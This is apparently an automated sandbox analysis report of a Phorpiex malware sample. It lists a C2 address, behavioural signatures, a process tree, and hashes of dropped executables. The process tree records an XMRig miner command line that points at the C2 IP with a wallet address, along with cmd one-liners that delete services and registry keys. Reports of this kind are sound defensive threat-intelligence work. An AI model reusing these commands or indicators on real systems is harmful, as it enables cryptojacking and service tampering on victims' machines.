Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/11/2026, 15:25

General

  • Target
    2026-11-09_793b700d4994336535e45bffbb2cb7c8_bkransomware_elex_hawkeye_maze_remcos.exe
  • Size 461KB
  • Sample261110-st3eaavwf1
  • SHA256 84a8e4b7004d5c0b15c149e2b852bf5dc6b3e83cb17b6e97a619c979aa2f226f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • phorphiex

C2
  • http://85.193.68.206

  • 85.193.68.206

Signatures

  • Family: Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Downloads MZ/PE file 5 IoCs
  • Executes dropped EXE 14 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 9 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-09_793b700d4994336535e45bffbb2cb7c8_bkransomware_elex_hawkeye_maze_remcos.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-09_793b700d4994336535e45bffbb2cb7c8_bkransomware_elex_hawkeye_maze_remcos.exe"
    1⤵
    • Downloads MZ/PE file
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5420
    • C:\Users\Admin\AppData\Local\Temp\6131.exe
      "C:\Users\Admin\AppData\Local\Temp\6131.exe"
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:932
      • C:\Users\Admin\AppData\Local\Temp\1952318194.exe
        C:\Users\Admin\AppData\Local\Temp\1952318194.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3968
        • C:\Windows\sysdreblov.exe
          C:\Windows\sysdreblov.exe
          4⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5032
          • C:\Users\Admin\AppData\Local\Temp\2721427205.exe
            C:\Users\Admin\AppData\Local\Temp\2721427205.exe
            5⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2612
            • C:\Users\Admin\AppData\Local\Temp\1067611326.exe
              C:\Users\Admin\AppData\Local\Temp\1067611326.exe
              6⤵
              • Downloads MZ/PE file
              • Executes dropped EXE
              • Adds Run key to start application
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3608
              • C:\Users\Admin\syshlrlops.exe
                C:\Users\Admin\syshlrlops.exe
                7⤵
                • Executes dropped EXE
                PID:1356
              • C:\sysbblovar.exe
                \sysbblovar.exe
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1060
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\syshlrlops.exe -o 85.193.68.206:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
                  8⤵
                  • Executes a command shell one-liner
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3728
                  • C:\Users\Admin\syshlrlops.exe
                    C:\Users\Admin\syshlrlops.exe -o 85.193.68.206:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
                    9⤵
                    • Executes dropped EXE
                    • Reads the TCP/IP host and domain name from the registry
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    PID:3896
            • C:\Users\Admin\AppData\Local\Temp\2094625257.exe
              C:\Users\Admin\AppData\Local\Temp\2094625257.exe
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1856
          • C:\Users\Admin\AppData\Local\Temp\1720217959.exe
            C:\Users\Admin\AppData\Local\Temp\1720217959.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:5688
          • C:\Users\Admin\AppData\Local\Temp\3713726164.exe
            C:\Users\Admin\AppData\Local\Temp\3713726164.exe
            5⤵
            • Downloads MZ/PE file
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4876
            • C:\Users\Admin\AppData\Local\Temp\2059810286.exe
              C:\Users\Admin\AppData\Local\Temp\2059810286.exe
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1096
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c sc delete "winmgr" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\winmgr" /f
                7⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:1112
                • C:\Windows\System32\sc.exe
                  sc delete "winmgr"
                  8⤵
                  • Launches sc.exe
                  PID:3700
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\winmgr" /f
                  8⤵
                    PID:2424
              • C:\Users\Admin\AppData\Local\Temp\2223120899.exe
                C:\Users\Admin\AppData\Local\Temp\2223120899.exe
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4836
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c sc delete "HBQBSRAR" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\HBQBSRAR" /f
                  7⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:2300
                  • C:\Windows\System32\sc.exe
                    sc delete "HBQBSRAR"
                    8⤵
                    • Launches sc.exe
                    PID:3932
                  • C:\Windows\System32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\HBQBSRAR" /f
                    8⤵
                      PID:6116
                • C:\Users\Admin\AppData\Local\Temp\1828031002.exe
                  C:\Users\Admin\AppData\Local\Temp\1828031002.exe
                  6⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:5988
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c sc delete "OQNGZAVS" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\OQNGZAVS" /f
                    7⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:5980
                    • C:\Windows\System32\sc.exe
                      sc delete "OQNGZAVS"
                      8⤵
                      • Launches sc.exe
                      PID:856
                    • C:\Windows\System32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\OQNGZAVS" /f
                      8⤵
                        PID:3012

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              32[1].exe

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\8999WJP3\32[1].exe
              • Size 10KB
              • SHA256 41806c0fa28f1dbc50e2f38d3eae1301fb31eb7056ced469bf4874f73a42bdc0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              1067611326.exe

              • Path C:\Users\Admin\AppData\Local\Temp\1067611326.exe
              • Size 12KB
              • SHA256 a3c3cd52620712398c4cc6681706ffe872ab7df45e3412cff45a62bc7f852588
              • MD5 SHA1 SHA512 SSDEEP TLSH

              1720217959.exe

              • Path C:\Users\Admin\AppData\Local\Temp\1720217959.exe
              • Size 22KB
              • SHA256 89b533c29250a35aab659c01783e9a4999df8ca32c0b6231b4ea1702d600cf36
              • MD5 SHA1 SHA512 SSDEEP TLSH

              1828031002.exe

              • Path C:\Users\Admin\AppData\Local\Temp\1828031002.exe
              • Size 8KB
              • SHA256 16a9562cddf687168021083c9c842693b62a60f7fa2e6808ca7af348665f1a24
              • MD5 SHA1 SHA512 SSDEEP TLSH

              1952318194.exe

              • Path C:\Users\Admin\AppData\Local\Temp\1952318194.exe
              • Size 88KB
              • SHA256 65f9e948f1ccc026ca9d6a4851fdc850a731af7df1dabaf26eac5fd1884fc052
              • MD5 SHA1 SHA512 SSDEEP TLSH

              2059810286.exe

              • Path C:\Users\Admin\AppData\Local\Temp\2059810286.exe
              • Size 8KB
              • SHA256 2574081865a6aac2168f386a344f8eca0ecc056f546a0aa3506d5bcb364ca97c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              2223120899.exe

              • Path C:\Users\Admin\AppData\Local\Temp\2223120899.exe
              • Size 8KB
              • SHA256 09108125ee801a9ac42d598c6ede4ef94bff1b42b6a761103d58c02a90a10f87
              • MD5 SHA1 SHA512 SSDEEP TLSH

              2721427205.exe

              • Path C:\Users\Admin\AppData\Local\Temp\2721427205.exe
              • Size 11KB
              • SHA256 7fabd633c13eaed99fc1846c6be1d025ff69cae9fb8e3a30cc115b4b4ef26de0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              3713726164.exe

              • Path C:\Users\Admin\AppData\Local\Temp\3713726164.exe
              • Size 10KB
              • SHA256 0df9bf73060364daa38132921c644ebec164a90a2eb8f1e5c3091f9ad2440f11
              • MD5 SHA1 SHA512 SSDEEP TLSH

              syshlrlops.exe

              • Path C:\Users\Admin\syshlrlops.exe
              • Size 6.2MB
              • SHA256 6fa80698d7268f6e88aa88c06fb27ee99e1bcee747c2e76911e6206a5b1aeeb3
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/1096-76-0x0000000000D00000-0x0000000000D06000-memory.dmp

              memory/1356-55-0x000001F00BDA0000-0x000001F00BDC0000-memory.dmp

              memory/4836-83-0x0000000000FD0000-0x0000000000FD6000-memory.dmp

              memory/5988-90-0x0000000000CD0000-0x0000000000CD6000-memory.dmp